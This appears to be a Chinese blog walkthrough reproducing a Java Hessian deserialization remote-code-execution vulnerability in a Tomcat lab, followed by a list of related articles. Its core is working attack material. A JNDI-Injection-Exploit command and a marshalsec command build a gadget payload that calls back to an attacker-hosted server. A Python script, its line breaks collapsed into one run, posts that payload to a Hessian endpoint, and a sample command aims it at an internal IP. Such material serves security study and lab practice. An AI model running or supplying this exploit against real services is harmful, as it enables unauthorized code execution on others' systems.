Java Hessian反序列化漏洞
漏洞简介
Hessian是一个轻量级的remoting onhttp工具,是一个轻量级的Java序列化/反序列化框架,使用简单的方法提供了RMI的功能。 相比WebService,Hessian更简单、快捷。采用的是二进制RPC协议,因为采用的是二进制协议,所以它很适合于发送二进制数据。
和Java原生的序列化对比,Hessian更加高效并且非常适合二进制数据传输。既然是一个序列化/反序列化框架,Hessian同样存在反序列化漏洞的问题。
对于Hessian反序列化漏洞的利用,使用ysoserial工具的Gadget是无法成功的,而是要用marshalsec工具的Gadget。这是因为ysoserial是针对Java原生反序列化漏洞的,并没有一些如Hessian等非Java原生反序列化漏洞的Gadgets。
环境搭建
https://github.com/wlj-debug/Hessian-Deserialize-RCE
将HessianTest.war放到tomcat/webapp/目录下并启动tomcat
启动tomcat
访问:/HessianTest/hessian
漏洞搭建成功
漏洞复现
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A xx.xx.xx.xx
直接用marshalsec来生成payload,这里地址指定为JettyServer并在指定恶意执行类为ExecTemplateJDK7:
执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://xxx.xxx.xxx.xxx:8180/ ExecTemplateJDK7>hession
接下来就是编写脚本将序列化的payload:hession发送到服务器
#!/usr/bin/env python
# coding=utf-8
# code by 21superman
# Date 2018年12月28日
import requests
import argparsedef load(name):header=b'\x63\x02\x00\x48\x00\x04'+b'test'with open(name,'rb') as f:return header+f.read()def send(url,payload):proxies = {'http':'127.0.0.1:8080'}headers={'Content-Type':'x-application/hessian'}data=payloadres=requests.post(url,headers=headers,data=data)return res.textdef main():parser = argparse.ArgumentParser()parser.add_argument("-u", help="hessian site url eg.http://127.0.0.1:8080/HessianTest/hessian")parser.add_argument("-p",help="payload file")args = parser.parse_args()if args.u==None or args.p==None:print('eg. python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian')else:send(args.u, load(args.p))
if __name__ == '__main__':main()#load('hession')
python3 hessian.py -u http://172.21.1.130:8080/HessianTest/hessian -p hession
Java Hessian反序列化漏洞相关推荐
- linux反序列化漏洞,Apache Camel Java对象反序列化漏洞(CVE-2015-5348)
Apache Camel Java对象反序列化漏洞(CVE-2015-5348) 发布日期:2015-12-15 更新日期:2015-12-18 受影响系统:Apache Group Camel 描述 ...
- java rmi反序列化漏洞 简介
目录 一.RMI简介 二.RMI示例 三.漏洞复现 四.漏洞分析 1.为什么这里的badAttributeValueExpException对象是通过反射构造,而不是直接声明? 2.为什么不直接将ba ...
- Shiro的Java原生反序列化漏洞
参考: http://www.lmxspace.com/2019/10/17/Shiro-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%AE%B0%E5%BD%95/ ...
- java序列化_技术干货 | JAVA反序列化漏洞
目录 反序列化漏洞 序列化和反序列化 JAVA WEB中的序列化和反序列化 对象序列化和反序列范例 JAVA中执行系统命令 重写readObject()方法 Apache Commons Collec ...
- Apache Shiro remember Me反序列化漏洞(Shiro 550)复现
Apache Shiro remember Me反序列化漏洞(Shiro 550)复现 什么是Shiro Apache Shiro™是一个强大且易用的Java安全框架,能够用于身份验证.授权.加密和会 ...
- 『Java安全』反序列化-浅析Hessian反序列化POP链
文章目录 前言 pom.xml Spring联动Hessian使用 Server端 服务接口 服务实现类 SpringApp Client端 手动序列化和反序列化 能序列化的类 序列化没有实现Seri ...
- java反序列化漏洞的一些gadget
目录 0x00 URLDNS 0x01 Commons Collections 0x02 RMI的codebase任意代码执行 0x03 JNDI 0x04 LDAP 0x05 JDK7u21 首先说 ...
- java 反序列化漏洞 利用思路简介
目录 序列化的过程 readObject方法 反射链 完成反序列漏洞实践 结论 之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后 ...
- java 反序列化漏洞简介
目录 一.Java的序列化与反序列化 二.对java序列化的理解 三.反序列化的漏洞原理概述 四.关于反射链 一.Java的序列化与反序列化 在这里我们直接自己定义一个类,然后对这个类的对象(一个实例 ...
最新文章
- minor gc和Major GC,Full GC的触发条件
- Windows 10 UWP开发:如何不让界面卡死
- qtdesigner设计表格_QT Designer基础——登录界面设计基础版
- 多晶硅价格已处于阶段性高点
- dcmm认证的条件_DCMM认证 数据管理能力成熟度模型评估
- AutoMapper 9.0的改造(续)
- Fatal error: Call to undefined function randstr()
- 2017 9月java答案_西安交通大学17年9月课程考试《Java语言程序设计》作业考核试题 (答案)...
- django 集成个推_Django动态添加定时任务之djangocelery的使用
- Exception的妙用
- 51NOD-1027 大数乘法【大数】
- matlab拟合函数参数,matlab怎么拟合函数参数?
- 利用计算机本地文档重装系统,本地模式怎么进入PE系统对电脑进行重装
- TFS2010安装图解
- 数学基础知识总结 —— 2. 常用积分公式
- 图像分割-连通区域分析
- 关于ZBRUSH弯折功能使用问题
- 个别化教育计划IEP模板
- 想来一杯奶昔吗?NEX-5R、NEX-6强势登场
- 极海推出APM32A系列车规级MCU